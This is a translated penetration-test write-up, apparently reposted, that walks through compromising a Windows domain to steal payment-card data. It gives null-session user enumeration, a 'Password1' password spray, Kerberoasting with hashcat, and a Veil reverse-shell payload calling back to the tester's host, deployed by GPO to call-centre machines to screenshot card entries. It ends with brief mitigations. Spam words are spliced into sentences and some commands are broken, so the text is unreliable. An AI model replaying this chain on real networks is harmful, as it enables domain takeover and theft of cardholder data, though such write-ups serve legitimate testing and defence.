赞
踩
前言
此文章介绍了以窃取数据为目标的完整渗透过程,作者首先通过enum4linux对域环境进行信息收集,整理出用户名字典后,然后暴力破解SMB。获得了一个域账号权限后,再使用 Kerberoasting技术获取到域管理员权限,最后通过域管理员下发组策略的方式获取到包含目标数据系统的权限。
一步步绕过Windows域中的防火墙获取支付卡敏感数据
本文详细介绍了如何绕过防火墙以获取对持卡人数据环境(cardholder data environment,CDE)的访问权限,并最终提取支付卡数据。
如果你要存储、传输或处理支付卡数据,那么就必须要确保支付卡数据在你的内部网络中保持高度安全,内部网络环境必须符合PCI数据安全标准(PCI-DSS)。当然,如果你的内部网络进行了分段,则不必让整个内部网络都符合PCI规范,只需让分段出的处理支付卡数据的环境符合PCI数据安全标准。而分段,即隔离出CDE,通常是利用防火墙来实现的。
在以下所讲解的示例中,所有敏感信息都做过修改,本文我们所进行渗透测试的支付卡公司,拥有很庞大的内部网络,所有IP都在10.0.0.0/8范围内。不过,为了保护支付卡的数据安全,它们的IP被特意进行了分段,和其他网络隔离,数据位于单独的192.168.0.0/16范围内。
CDE主要由接受电话订单的呼叫中心操作员组成,并在外部操作的web应用程序上以表单的形式输入付款细节。
由于这是一次内部渗透测试,因此我们连接到公司内部办公网络的范围为10.0.0.0/8。起初,使用ping和端口扫描从这个网络位置扫描CDE没有得到任何结果。
虽然ping扫描与运行ping命令基本相同,但是nmap可以一次扫描整个范围。第二个命令输出中的“hosts up”与我们给nmap提供的-Pn参数有关,该参数告诉它不要首先ping,因此nmap会将范围内的所有主机报告为“up”,即使它们可能不是。
因此,除非有防火墙规则绕过漏洞,或者我们可以猜到防火墙的弱密码,否则直接扫描不太可能能得到想要的结果。因此,获取支付卡敏感数据的第一步是通过获得域管理员权限来集中精力控制Active Directory。中国菜刀
获得域管理员权限
有很多方法可以实现这个要求,比如我之前发表的《从外部Active Directory获取域管理员权限》。
而在本文的示例中,我们会采用一种新的方法,即利用kerberoast来控制域。简单直白的说Kerberoast攻击,就是攻击者为了获取目标服务的访问权限,而设法破解Kerberos服务票据并重写它们的过程。这是红队当中非常常见的一种攻击手法,因为它不需要与服务目标服务进行任何交互,并且可以使用合法的活动目录访问来请求和导出可以离线破解的服务票据,以获取到最终的明文密码。之所以出现这种情况,是因为服务票据使用服务帐户的散列(NTLM)进行加密,所以任何域用户都可以从服务转储散列,而无需将shell引入运行该服务的系统中。
为此,我们需要在域中找一个未授权的攻击点,来开始获得域管理员权限。攻击Active Directory的第一步通常涉及获得任何级别的任何用户帐户的访问权限。只要它能以某种方式对域控制器进行身份验证,就可以。在Windows环境中,即使账户没有权限在域控制器上实际执行任何操作,他们都应该能够使用域控制器进行身份验证。在Windows默认安全级别下,即使是权限最低的帐户在登录时也需要验证密码是否正确。
在客户的内网环境中,域控制器允许建立空会话。在本文的示例中,我们的域控制器是10.0.12.100, “PETER”。这意味着,我们可以使用enum4linux等工具枚举用户列表,显示域中每个用户的用户名:天空彩
$ enum4linux -R 1000-50000 10.0.12.100 |tee enum4linux.txt
enum4linux是Kali Linux自带的一款信息收集工具。它可以收集Windows系统的大量信息,如用户名列表、主机列表、共享列表、密码策略信息、工作组和成员信息、主机信息、打印机信息等等。该工具主要是针对Windows NT/2000/XP/2003,在Windows 7/10系统,部分功能受限。
现在我们就有了一个用户列表,然后将该表解析成一个可用的格式:
$ cat enum4linux.txt | grep '(Local User)' |awk '$2 ~ /MACFARLANE\\/ {print $2}'| grep -vP '^.*?\$$' | sed 's/MACFARLANE\\//g'
出于讲解目的,以上格式内容不是很简洁。如果你愿意,可以使用awk,grep,sed或更少字符的Perl来实现格式的简单化。但是,如果你正在进行渗透测试,建议你使用任何有效的方法,并将主要精力放在终极目标上,没有必要纠结形式。如果我要编写一个长期使用的脚本,我可能会对它进行一些优化,但是为了进行测试,我倾向于不对格式做优化。
在本文的示例中,由于实际测试的网络庞大,活跃用户超过25000人。为了方便测试,我们只选了部分用户的数据。
现在我们已经将用户列表解析为文本文件,然后可以使用CrackMapExec等工具猜测密码。在本文的示例中,我们将猜测是否有任何用户的密码是“Password1”,该密码虽然简单,但却符合Active Directory的默认复杂性规则,因为它包含四种字符类型中的三种(大写,小写和数字)。
$ cme smb 10.0.12.100 -u users.txt -p Password1
果然不出所料,猜测成功。
请注意,如果我们想继续猜测并找到所有帐户,就需要指定参数–continue-on-success。
此时,我们已经成功控制了一个帐户。现在我们可以查询Active Directory并获得服务帐户列表。服务帐户是一种代表服务的帐户,就像Microsoft SQL Server这样的服务。这些服务运行时,需要在以某种帐户身份存在于系统。幸运的是, Active Directory的Kerberos身份验证系统可用于提供访问权限,因此Active Directory提供“服务票据”以允许用户对其进行身份验证。 Kerberos身份验证不在本文的讨论范围之内,如果你想了解更多信息,请点此。
通过从域控制器请求Kerberos服务帐户列表,我们还能得到每个帐户的“服务票据”。此服务票据是使用服务帐户的密码所加密。因此,如果我们可以破解它,将能够获得高权限。 Impacket工具集可用于请求以下内容:
$ GetUserSPNs.py -outputfile SPNs.txt -request 'MACFARLANE.EXAMPLE.COM/chuck:Password1' -dc-ip 10.0.12.100
正如我们所看到的,其中一个服务帐户是Domain Admins的成员,这意味着我们获得了高权限。
$ hashcat -m 13100 --potfile-disable SPNs.txt /usr/share/wordlists/rockyou.txt -r /usr/share/rules/d3adhob0.rule
在运行hashcat进行密码破解后,我们发现以下的明文密码。二四六
再次使用CrackMapExec,确认这是一个实际存在的活动帐户。
$ cme smb 10.0.12.100 -u redrum -p ' 1!
我们现在就可以伪装成Pwn3d !,获取域控制权限了。
获得域管理员权限后,如何得到支付卡数据?
不幸的是,在对目标攻击测试后,我们发现呼叫中心代理在CDE中用来接受电话订单的计算机位于相同的Active Directory域中。虽然我们无法直接连接到这些设备,但由于现在我们已经可以获取域控制权限了,可以强行让域控制器与我们进行对话。为此,我们需要深入了解组策略对象(GPO),在GPO中,你可以使用组策略为用户和计算机组定义用户和计算机配置。通过使用组策略Microsoft Management Console (MMC) 管理单元,你可以为特定的用户和计算机组创建特定的桌面配置。此时,你创建的组策略设置包含在组策略对象中,后者进而与选定的 Active Directory 容器,如站点、域或组织单位 (OU))关联。不过在本文中,你只需要知道GPO允许在全局或用户级别上控制域中的计算机既可。
使用GPO的“即时任务”选项,我们可以创建一个将在呼叫中心运行的脚本,并连接回我们的设备,让我们实现控制。以下是具体步骤(7步):
1.生成有效载荷,我们在示例中使用的是Veil Evasion,Veil-Evasion是一种生成有效载荷可执行文件的工具,可绕过常见的防病毒解决方案。由于我们的IP地址是10.0.12.1,所以我们将把有效载荷指向这个地址,从而进行回连。
$ veil -t EVASION -p 22 --ip 10.0.12.1 --port 8755 -o pci_shell
2.使用我们从kerberoasting获得的凭据,通过远程桌面协议(RDP)登录到域控制器。
3.在Active Directory中查找CDE,根据我们对测试目标的了解,我们知道呼叫中心代理在2楼工作。所以,我们重点关注带有floor 2. 字眼的文件。
4.将我们从Veil制作的脚本放入文件夹中,并在域控制器上共享该脚本,设置共享和目录上的权限,以允许所有域用户读取。
5.在GPO中,我们在如下级别创建了一个组策略。
6.在编辑此新GPO时,找到“计划任务”选项,并创建新的“即时任务”:
7. 创建指向共享中恶意脚本的任务,同时在common下设置Run in logged-on user's security context。
经过漫长地等待(90分钟),我看到了以下内容的生成。
运行命令截取屏幕截图,这些生成的内容正是呼叫中心代理输入的支付卡数据!
此时,渗透测试的目标就已经顺利完成。剥丝抽茧,层层破解!通过一步步绕过防火墙,终于获取了支付卡信息。
如果我们查看会话列表,可以看到原始IP来自192.168.0.0/16 CDE范围。
在实际测试中,整个二楼的设备基本都返回了shell,我们最后得到了大约60-100个Meterpreter。
请注意,以上截图中的样本是Amazon,这与我谈论的测试目标无关。在真实的测试中,我们会设置了一个脚本以便在连接shell时捕获屏幕截图(通过autorunscript),然后就可以专注于更有趣的会话,例如那些支付卡数据进行输入时的进程。
还有其他获取截图的命令,例如在Meterpreter中使用use espia以及metasploit的post/windows/gather/screen_spy。
有一些方法可以通过编程实现GPO,我还没有尝试过,例如PowerView中的New-GPOImmediateTask。
缓解措施
缓解这种攻击的最好方法,就是始终在被隔离的Active Directory域中运行CDE,具体原理,请点此了解。另外,为了保险起见,你可以设置强密码。当然,更深度防御措施是彻底关闭空会话,检测是否有用户一次性来请求所有服务票据,如果有人这么做,则对其进行标记追踪。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。